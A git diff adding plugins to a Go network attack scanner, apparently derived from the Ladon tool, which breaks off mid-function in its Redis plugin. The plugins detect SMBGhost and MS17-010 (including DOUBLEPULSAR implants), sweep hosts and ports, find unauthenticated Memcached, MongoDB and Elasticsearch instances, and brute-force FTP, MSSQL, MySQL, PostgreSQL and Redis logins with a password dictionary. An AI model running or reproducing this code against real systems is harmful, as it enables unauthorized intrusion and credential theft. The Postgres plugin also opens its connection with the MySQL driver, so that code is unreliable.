diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go new file mode 100644 index 0000000..1d114bb --- /dev/null +++ b/Plugins/CVE-2020-0796.go @@ -0,0 +1,129 @@ +package Plugins +//Ladon Scanner for golang +//Author: k8gege +//K8Blog: http://k8gege.org +//Github: https://github.com/k8gege +import ( + "../common" + "bytes" + "fmt" + "net" + "sync" + "time" +) + +const ( + pkt = + "\x00" + // session + "\x00\x00\xc0"+ // legth + + "\xfeSMB@\x00"+ // protocol + + //[MS-SMB2]: SMB2 NEGOTIATE Request + //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 + + "\x00\x00" + + "\x00\x00" + + "\x00\x00" + + "\x00\x00" + + "\x1f\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + + // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7 + + "$\x00" + + "\x08\x00" + + "\x01\x00" + + "\x00\x00" + + "\x7f\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "x\x00" + + "\x00\x00" + + "\x02\x00" + + "\x00\x00" + + "\x02\x02" + + "\x10\x02" + + "\x22\x02" + + "$\x02" + + "\x00\x03" + + "\x02\x03" + + "\x10\x03" + + "\x11\x03" + + "\x00\x00\x00\x00" + + + + // [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 + + "\x01\x00" + + "&\x00" + + "\x00\x00\x00\x00" + + "\x01\x00" + + "\x20\x00" + + "\x01\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00\x00\x00" + + "\x00\x00" + + + // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271 + + "\x03\x00" + + "\x0e\x00" + + "\x00\x00\x00\x00" + + "\x01\x00" + //CompressionAlgorithmCount + "\x00\x00" + + "\x01\x00\x00\x00" + + "\x01\x00" + //LZNT1 + "\x00\x00" + + "\x00\x00\x00\x00" +) +func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + SmbGhostScan(info) + wg.Done() + <- ch +} + +func SmbGhostScan(info *common.HostInfo) { + ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second + addr:=fmt.Sprintf("%s:%d",info.Host,port) + conn, err := net.DialTimeout("tcp", addr, timeout) + if err != nil { + return + } else { + conn.Write([]byte(pkt)) + buff := make([]byte, 1024) + err = conn.SetReadDeadline(time.Now().Add(timeout)) + n, err := conn.Read(buff) + if err != nil { + return + }else { + defer conn.Close() + if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true { + result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip) + common.LogSuccess(result) + } + } + } +} diff --git a/Plugins/base.go b/Plugins/base.go new file mode 100644 index 0000000..6cf341f --- /dev/null +++ b/Plugins/base.go @@ -0,0 +1,52 @@ +package Plugins + +var PluginList = map[string]interface{}{ + "21": FtpScan, + "22": SshScan, + "135": Findnet, + "445": SmbScan, + "1433":MssqlScan, + "3306": MysqlScan, + "5432": PostgresScan, + "6379": RedisScan, + "9200":elasticsearchScan, + "11211":MemcachedScan, + "27017":MongodbScan, + "1000001": MS17010, + "1000002": SmbGhost, + //"WebTitle":WebTitle, +} + +//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"} +//const Username = "admin" +//const Password = "123456" +//const Timeout = 3 * time.Second +//const FTPPORT = 21 +//const SSHPORT = 22 +//const MEMCACHEDPORT = 11211 +//const MONGODBPORT = 27017 +//const MSSQLPORT = 1433 +//const OraclePORT = 1433 +//const PSQLPORT = 5432 +//const REDISPORT = 6379 +//const MYSQLPORT = 3306 +//const SMBPORT = 445 +//const POSTGRESPORT = 5432 + + +//var PluginList = map[string]interface{}{ +// "ftp": FtpScan, +// "mysql": MysqlScan, +// //"mongodb":MgoConn, +// "mssql":MssqlScan, +// "redis": RedisScan, +// //"smb": SmbScan, +// "ssh": SshScan, +// //"portscan": PortConn, +// //"icmp": IcmpConn, +// "postgresql": PostgresScan, +// //"urlscan":UrlConn, +// //"auth":ApacheConn, +// //"subdomain":SDConn, +// //"memcached":MemConn, +//} \ No newline at end of file diff --git a/Plugins/elasticsearch.go b/Plugins/elasticsearch.go new file mode 100644 index 0000000..8fb83b4 --- /dev/null +++ b/Plugins/elasticsearch.go @@ -0,0 +1,71 @@ +package Plugins + +import ( + "../common" + "fmt" + "io/ioutil" + "net" + "net/http" + "strings" + "sync" + "time" +) + +func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + geturl2(info) + wg.Done() + <-ch +} + + +func geturl2(info *common.HostInfo) (flag bool,err error) { + flag = false + url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"]) + var client = &http.Client{ + Transport:&http.Transport{ + DialContext:(&net.Dialer{ + Timeout:time.Duration(info.Timeout)*time.Second, + }).DialContext, + }, + CheckRedirect:func(req *http.Request, via []*http.Request) error{ + return http.ErrUseLastResponse + }, + } + res,err:=http.NewRequest("GET",url,nil) + if err==nil{ + res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + res.Header.Add("Accept","*/*") + res.Header.Add("Accept-Language","zh-CN,zh;q=0.9") + res.Header.Add("Accept-Encoding","gzip, deflate") + res.Header.Add("Connection","close") + resp,err:=client.Do(res) + + if err==nil{ + defer resp.Body.Close() + body, _ := ioutil.ReadAll(resp.Body) + if strings.Contains(string(body),"/_cat/master"){ + result := fmt.Sprintf("Elastic:%s unauthorized",url) + common.LogSuccess(result) + flag = true + } + } + } + return flag,err + + //fmt.Print("\n") +} + + +//if info.Cookie!=""{ +// res.Header.Add("Cookie",info.Cookie) +//} +//if info.Header!=""{ +// var header = make(map[string]string) +// err:=json.Unmarshal([]byte(info.Header),&header) +// if err!=nil{ +// Misc.CheckErr(err) +// } +// for k,v:=range header{ +// res.Header.Add(k,v) +// } +//} \ No newline at end of file diff --git a/Plugins/findnet.go b/Plugins/findnet.go new file mode 100644 index 0000000..871d42d --- /dev/null +++ b/Plugins/findnet.go @@ -0,0 +1,78 @@ +package Plugins + +import ( + "bytes" + "net" + "strings" + "time" + + //"encoding/binary" + "encoding/hex" + "fmt" + "sync" + + "../common" +) + +var ( + buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") + buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") + buffer_v3, _ = hex.DecodeString("0900ffff0000") + +) +func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + FindnetScan(info) + wg.Done() + <- ch +} + +func FindnetScan(info *common.HostInfo) { + realhost:=fmt.Sprintf("%s:%d",info.Host,135) + conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) + if err != nil{ + return + } + conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) + defer conn.Close() + conn.Write(buffer_v1) + reply := make([]byte, 4096) + _, err = conn.Read(reply) + if err != nil{ + return + } + conn.Write(buffer_v2) + if n, err := conn.Read(reply); err != nil || n < 42 { + return + } + text := reply[42:] + flag := true + for i := 0; i < len(text)-5; i++ { + if bytes.Equal(text[i:i+6], buffer_v3){ + text = text[:i-4] + flag = false + break + } + } + if flag{ + return + } + read(text,info.Host) +} +func read(text []byte,host string) { + encodedStr := hex.EncodeToString(text) + hostnames := strings.Replace(encodedStr, "0700", "", -1) + hostname := strings.Split(hostnames, "000000") + result := "NetInfo:\n[*]"+host + for i := 0; i < len(hostname); i++ { + hostname[i] = strings.Replace(hostname[i], "00", "", -1) + host,err := hex.DecodeString(hostname[i]) + if err != nil{ + return + } + result += "\n [->]"+string(host) + //result += "\n ["+string(host)+"]" + } + common.LogSuccess(result) +} + + diff --git a/Plugins/ftp.go b/Plugins/ftp.go new file mode 100644 index 0000000..a617c01 --- /dev/null +++ b/Plugins/ftp.go @@ -0,0 +1,41 @@ +package Plugins + +import ( + "../common" + "github.com/jlaffaye/ftp" + "fmt" + "strings" + "sync" + "time" +) + +func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + Loop: + for _,user:=range common.Userdict["ftp"]{ + for _,pass:=range common.Passwords{ + pass = strings.Replace(pass, "{user}", string(user), -1) + flag,err := FtpConn(info,user,pass,ch,wg) + if flag==true && err==nil { + break Loop + } + } + } + wg.Done() + <- ch +} + +func FtpConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ + flag = false + Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass + conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second) + if err == nil { + err = conn.Login(Username,Password) + if err == nil { + defer conn.Logout() + result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password) + common.LogSuccess(result) + flag = true + } + } + return flag,err +} \ No newline at end of file diff --git a/Plugins/icmp.go b/Plugins/icmp.go new file mode 100644 index 0000000..38b325a --- /dev/null +++ b/Plugins/icmp.go @@ -0,0 +1,203 @@ +package Plugins + +import ( + "bytes" + "encoding/binary" + "fmt" + "net" + "os" + "os/exec" + "os/user" + "runtime" + "strings" + "sync" + "time" +) + +var icmp ICMP + +var AliveHosts []string + +type ICMP struct { + Type uint8 + Code uint8 + Checksum uint16 + Identifier uint16 + SequenceNum uint16 +} + +type SystemInfo struct { + OS string + ARCH string + HostName string + Groupid string + Userid string + Username string + UserHomeDir string +} + +func GetSys() SystemInfo { + var sysinfo SystemInfo + + sysinfo.OS = runtime.GOOS + sysinfo.ARCH = runtime.GOARCH + name, err := os.Hostname() + if err == nil { + sysinfo.HostName = name + } + + u, err := user.Current() + sysinfo.Groupid = u.Gid + sysinfo.Userid = u.Uid + sysinfo.Username = u.Username + sysinfo.UserHomeDir = u.HomeDir + + return sysinfo +} + +func isping(ip string) bool { + icmp.Type = 8 + icmp.Code = 0 + icmp.Checksum = 0 + icmp.Identifier = 0 + icmp.SequenceNum = 0 + + recvBuf := make([]byte, 32) + var buffer bytes.Buffer + + binary.Write(&buffer, binary.BigEndian, icmp) + icmp.Checksum = CheckSum(buffer.Bytes()) + + buffer.Reset() + binary.Write(&buffer, binary.BigEndian, icmp) + + Time, _ := time.ParseDuration("2s") + conn, err := net.DialTimeout("ip4:icmp", ip, Time) + if err != nil { + return false + } + _, err = conn.Write(buffer.Bytes()) + if err != nil { + return false + } + conn.SetReadDeadline(time.Now().Add(time.Second * 2)) + num, err := conn.Read(recvBuf) + if err != nil { + return false + } + + conn.SetReadDeadline(time.Time{}) + + if string(recvBuf[0:num]) != "" { + fmt.Printf("(ICMP) Target '%s' is alive\n",ip) + return true + } + return false + +} + +func CheckSum(data []byte) uint16 { + var ( + sum uint32 + length int = len(data) + index int + ) + for length > 1 { + sum += uint32(data[index])<<8 + uint32(data[index+1]) + index += 2 + length -= 2 + } + if length > 0 { + sum += uint32(data[index]) + } + sum += (sum >> 16) + + return uint16(^sum) +} + +func IcmpCheck(hostslist []string) { + var wg sync.WaitGroup + mutex := &sync.Mutex{} + for _,host :=range hostslist{ + wg.Add(1) + go func(host string) { + defer wg.Done() + if isping(host){ + mutex.Lock() + AliveHosts = append(AliveHosts, host) + mutex.Unlock() + } + }(host) + } + wg.Wait() +} + +func ExecCommandPing(ip string,bsenv string) bool { + command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" + outinfo := bytes.Buffer{} + command.Stdout = &outinfo + err := command.Start() + if err != nil{ + return false + } + + if err = command.Wait();err!=nil{ + return false + }else{ + if(strings.Contains(outinfo.String(), "true")) { + return true + }else { + return false + } + } +} + +func PingCMDcheck(hostslist []string,bsenv string) { + var wg sync.WaitGroup + mutex := &sync.Mutex{} + limiter := make(chan struct{}, 40) + //aliveHost := make(chan string, 20) + //go func() { + // for s := range aliveHost { + // fmt.Println(s) + // } + //}() + for _,host :=range hostslist{ + wg.Add(1) + limiter <- struct{}{} + go func(host string) { + defer wg.Done() + if ExecCommandPing(host,bsenv){ + mutex.Lock() + fmt.Printf("(Ping) Target '%s' is alive\n",host) + AliveHosts = append(AliveHosts, host) + mutex.Unlock() + } + <-limiter + }(host) + } + wg.Wait() + //close(aliveHost) +} + +func ICMPRun(hostslist []string) []string{ + var sysinfo SystemInfo + sysinfo = GetSys() + + if sysinfo.OS == "windows" { + IcmpCheck(hostslist) + }else if sysinfo.OS == "linux" { + if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") { + IcmpCheck(hostslist) + }else { + PingCMDcheck(hostslist,"/bin/bash") + } + }else if sysinfo.OS == "darwin" { + if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") { + IcmpCheck(hostslist) + }else { + PingCMDcheck(hostslist,"/usr/local/bin/bash") + } + } + return AliveHosts +} diff --git a/Plugins/memcached.go b/Plugins/memcached.go new file mode 100644 index 0000000..3737dc6 --- /dev/null +++ b/Plugins/memcached.go @@ -0,0 +1,31 @@ +package Plugins + +import ( + "../common" + "fmt" + "net" + "strings" + "sync" + "time" +) + +func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) { + realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"]) + client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) + if err==nil { + client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) + client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten + rev := make([]byte, 1024) + n, err := client.Read(rev) + if err == nil { + if strings.Contains(string(rev[:n]), "STAT") { + defer client.Close() + result = fmt.Sprintf("Memcached:%s unauthorized",realhost) + common.LogSuccess(result) + } + } + } + wg.Done() + <- ch + return err, result +} diff --git a/Plugins/mongodb.go b/Plugins/mongodb.go new file mode 100644 index 0000000..ca4dd5c --- /dev/null +++ b/Plugins/mongodb.go @@ -0,0 +1,49 @@ +package Plugins + +import ( + "../common" + "fmt" + _ "github.com/denisenkom/go-mssqldb" + "net" + "strings" + "sync" + "time" +) + + +func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + MongodbUnauth(info) + wg.Done() + <- ch +} + +func MongodbUnauth(info *common.HostInfo) (flag bool,err error) { + flag = false + send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0} + getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0} + realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"]) + conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) + if err != nil{return} + defer conn.Close() + conn.Write(send_data) + buf := make([]byte, 1024) + count, err := conn.Read(buf) + if err != nil { + return flag,err + } + text := string(buf[0:count]) + if strings.Contains(text,"ismaster"){ + conn.Write(getlog_data) + count, err := conn.Read(buf) + if err != nil { + return flag,err + } + text := string(buf[0:count]) + if strings.Contains(text,"totalLinesWritten"){ + flag = true + result := fmt.Sprintf("Mongodb:%v unauthorized",realhost) + common.LogSuccess(result) + } + } + return flag,err +} \ No newline at end of file diff --git a/Plugins/ms17017.go b/Plugins/ms17017.go new file mode 100644 index 0000000..2cd6e87 --- /dev/null +++ b/Plugins/ms17017.go @@ -0,0 +1,139 @@ +package Plugins + +import ( + "encoding/binary" + "encoding/hex" + "sync" + + //"flag" + "fmt" + "net" + "../common" + "strings" + //"sync" + "time" +) + +var ( + negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200") + sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000") + treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00") + transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00") + trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") +) + +func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + MS17010Scan(info) + wg.Done() + <- ch +} + +func MS17010Scan(info *common.HostInfo) { + + ip := info.Host + // connecting to a host in LAN if reachable should be very quick + conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second) + if err != nil { + //fmt.Printf("failed to connect to %s\n", ip) + return + } + defer conn.Close() + + conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) + conn.Write(negotiateProtocolRequest) + reply := make([]byte, 1024) + // let alone half packet + if n, err := conn.Read(reply); err != nil || n < 36 { + return + } + + if binary.LittleEndian.Uint32(reply[9:13]) != 0 { + // status != 0 + return + } + + conn.Write(sessionSetupRequest) + + n, err := conn.Read(reply) + if err != nil || n < 36 { + return + } + + if binary.LittleEndian.Uint32(reply[9:13]) != 0 { + // status != 0 + //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) + return + } + + // extract OS info + var os string + sessionSetupResponse := reply[36:n] + if wordCount := sessionSetupResponse[0]; wordCount != 0 { + // find byte count + byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) + if n != int(byteCount)+45 { + fmt.Println("invalid session setup AndX response") + } else { + // two continous null bytes indicates end of a unicode string + for i := 10; i < len(sessionSetupResponse)-1; i++ { + if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { + os = string(sessionSetupResponse[10:i]) + os = strings.Replace(os, string([]byte{0x00}), "",-1) + break + } + } + } + + } + userID := reply[32:34] + treeConnectRequest[32] = userID[0] + treeConnectRequest[33] = userID[1] + // TODO change the ip in tree path though it doesn't matter + conn.Write(treeConnectRequest) + + if n, err := conn.Read(reply); err != nil || n < 36 { + return + } + + treeID := reply[28:30] + transNamedPipeRequest[28] = treeID[0] + transNamedPipeRequest[29] = treeID[1] + transNamedPipeRequest[32] = userID[0] + transNamedPipeRequest[33] = userID[1] + + conn.Write(transNamedPipeRequest) + if n, err := conn.Read(reply); err != nil || n < 36 { + return + } + + if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { + //fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) + //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) + //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} + result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os) + common.LogSuccess(result) + // detect present of DOUBLEPULSAR SMB implant + trans2SessionSetupRequest[28] = treeID[0] + trans2SessionSetupRequest[29] = treeID[1] + trans2SessionSetupRequest[32] = userID[0] + trans2SessionSetupRequest[33] = userID[1] + + conn.Write(trans2SessionSetupRequest) + + if n, err := conn.Read(reply); err != nil || n < 36 { + return + } + + if reply[34] == 0x51 { + //fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip) + result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip) + common.LogSuccess(result) + } + + } else { + result := fmt.Sprintf("%s\t \t(%s)\n", ip, os) + common.LogSuccess(result) + } + +} + diff --git a/Plugins/mssql.go b/Plugins/mssql.go new file mode 100644 index 0000000..0066a3e --- /dev/null +++ b/Plugins/mssql.go @@ -0,0 +1,48 @@ +package Plugins + +import ( + "../common" + "database/sql" + "fmt" + _ "github.com/denisenkom/go-mssqldb" + "strings" + "sync" + "time" +) + + + + +func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { +Loop: + for _,user:=range common.Userdict["mssql"]{ + for _,pass:=range common.Passwords{ + pass = strings.Replace(pass, "{user}", string(user), -1) + flag,err := MssqlConn(info,user,pass,ch,wg) + if flag==true && err==nil { + break Loop + } + } + } + wg.Done() + <- ch +} + +func MssqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ + flag = false + Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass + dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second) + db, err := sql.Open("mssql", dataSourceName) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second) + defer db.Close() + err = db.Ping() + if err == nil { + result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password) + common.LogSuccess(result) + flag = true + } + } + return flag,err +} + diff --git a/Plugins/mysql.go b/Plugins/mysql.go new file mode 100644 index 0000000..4db3280 --- /dev/null +++ b/Plugins/mysql.go @@ -0,0 +1,46 @@ +package Plugins + +import ( + "../common" + "database/sql" + "fmt" + _ "github.com/go-sql-driver/mysql" + "strings" + "sync" + "time" +) + + + +func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { +Loop: + for _,user:=range common.Userdict["mysql"]{ + for _,pass:=range common.Passwords{ + pass = strings.Replace(pass, "{user}", string(user), -1) + flag,err := MysqlConn(info,user,pass,ch,wg) + if flag==true && err==nil { + break Loop + } + } + } + wg.Done() + <- ch +} + +func MysqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ + flag = false + Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass + dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql") + db, err := sql.Open("mysql", dataSourceName) + db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second) + if err == nil { + defer db.Close() + err = db.Ping() + if err == nil { + result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password) + common.LogSuccess(result) + flag = true + } + } + return flag,err +} \ No newline at end of file diff --git a/Plugins/portscan.go b/Plugins/portscan.go new file mode 100644 index 0000000..c83d27a --- /dev/null +++ b/Plugins/portscan.go @@ -0,0 +1,147 @@ +package Plugins + +import ( + "fmt" + "net" + "sort" + "strconv" + "strings" + "sync" + "time" + "../common" +) + +func ParsePort(ports string) []int { + var scanPorts []int + slices := strings.Split(ports, ",") + for _, port := range slices { + port = strings.Trim(port, " ") + upper := port + if strings.Contains(port, "-") { + ranges := strings.Split(port, "-") + if len(ranges) < 2 { + continue + } + sort.Strings(ranges) + port = ranges[0] + upper = ranges[1] + } + start, _ := strconv.Atoi(port) + end, _ := strconv.Atoi(upper) + for i := start; i <= end; i++ { + scanPorts = append(scanPorts, i) + } + } + return scanPorts +} + +func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) { + Timeout := time.Duration(adjustedTimeout) * time.Second + for port := range ports{ + start := time.Now() + con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second) + duration := time.Now().Sub(start) + if err == nil { + defer con.Close() + address := host + ":" + strconv.Itoa(port) + result := fmt.Sprintf("%s open",address) + common.LogSuccess(result) + respondingHosts <- address + } + if duration < Timeout { + difference := Timeout - duration + Timeout = Timeout - (difference / 2) + } + } + done <- true +} + +func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) { + ports := make(chan int, 20) + results := make(chan string, 10) + done := make(chan bool, threads) + + for worker := 0; worker < threads; worker++ { + go ProbeHosts(address, ports, results, done, model, adjustedTimeout) + } + + for _,port := range probePorts{ + ports <- port + } + close(ports) + + var responses = []string{} + for { + select { + case found := <-results: + responses = append(responses, found) + case <-done: + threads-- + if threads == 0 { + return responses, nil + } + case <-time.After(timeout): + return responses, nil + } + } +} + +func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){ + var AliveAddress []string + var aliveHosts []string + probePorts := ParsePort(ports) + lm := 20 + if (len(hostslist)>5 && len(hostslist)<=50) { + lm = 40 + }else if(len(hostslist)>50 && len(hostslist)<=100){ + lm = 50 + }else if(len(hostslist)>100 && len(hostslist)<=150){ + lm = 60 + }else if(len(hostslist)>150 && len(hostslist)<=200){ + lm = 70 + }else if(len(hostslist)>200){ + lm = 75 + } + + thread := 5 + if (len(probePorts)>500 && len(probePorts)<=4000) { + thread = len(probePorts)/100 + }else if (len(probePorts)>4000 && len(probePorts)<=6000) { + thread = len(probePorts)/200 + }else if (len(probePorts)>6000 && len(probePorts)<=10000) { + thread = len(probePorts)/350 + }else if (len(probePorts)>10000 && len(probePorts)<50000){ + thread = len(probePorts)/400 + }else if (len(probePorts)>=50000 && len(probePorts)<=65535){ + thread = len(probePorts)/500 + } + + var wg sync.WaitGroup + mutex := &sync.Mutex{} + limiter := make(chan struct{}, lm) + aliveHost := make(chan string, lm/2) + go func() { + for s := range aliveHost { + fmt.Println(s) + } + }() + for _,host :=range hostslist{ + wg.Add(1) + limiter <- struct{}{} + go func(host string) { + defer wg.Done() + if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{ + mutex.Lock() + aliveHosts = append(aliveHosts,host) + for _,addr :=range aliveAdd{ + AliveAddress = append(AliveAddress,addr) + } + mutex.Unlock() + } + <-limiter + }(host) + } + wg.Wait() + close(aliveHost) + return aliveHosts,AliveAddress +} diff --git a/Plugins/postgres.go b/Plugins/postgres.go new file mode 100644 index 0000000..c9678b9 --- /dev/null +++ b/Plugins/postgres.go @@ -0,0 +1,46 @@ +package Plugins + +import ( + "../common" + "database/sql" + "fmt" + _ "github.com/lib/pq" + "strings" + "sync" + "time" +) + +func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { +Loop: + for _,user:=range common.Userdict["postgresql"]{ + for _,pass:=range common.Passwords{ + pass = strings.Replace(pass, "{user}", string(user), -1) + flag,err := PostgresConn(info,user,pass,ch,wg) + if flag==true && err==nil { + break Loop + } + } + } + wg.Done() + <- ch +} + +func PostgresConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ + flag = false + Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass + dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable") + db, err := sql.Open("mysql", dataSourceName) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second) + defer db.Close() + err = db.Ping() + if err == nil { + result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password) + common.LogSuccess(result) + flag = true + } + } + return flag,err +} + + diff --git a/Plugins/redis.go b/Plugins/redis.go new file mode 100644 index 0000000..97a66e2 --- /dev/null +++ b/Plugins/redis.go @@ -0,0 +1,208 @@ +package Plugins + +import ( + "../common" + "bufio" + "fmt" + "net" + "os" + "strings" + "sync" + "time" +) + +func RedisScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + flag,err := RedisUnauth(info) + if flag==true && err==nil { + wg.Done() + <- ch + return + } + +Loop: + for _,pass:=range common.Passwords{ + pass = strings.Replace(pass, "{user}", string("redis"), -1) + flag,err := RedisConn(info,pass,ch,wg) + if flag==true && err==nil { + break Loop + } + } + wg.Done() + <- ch +} + +func RedisConn(info 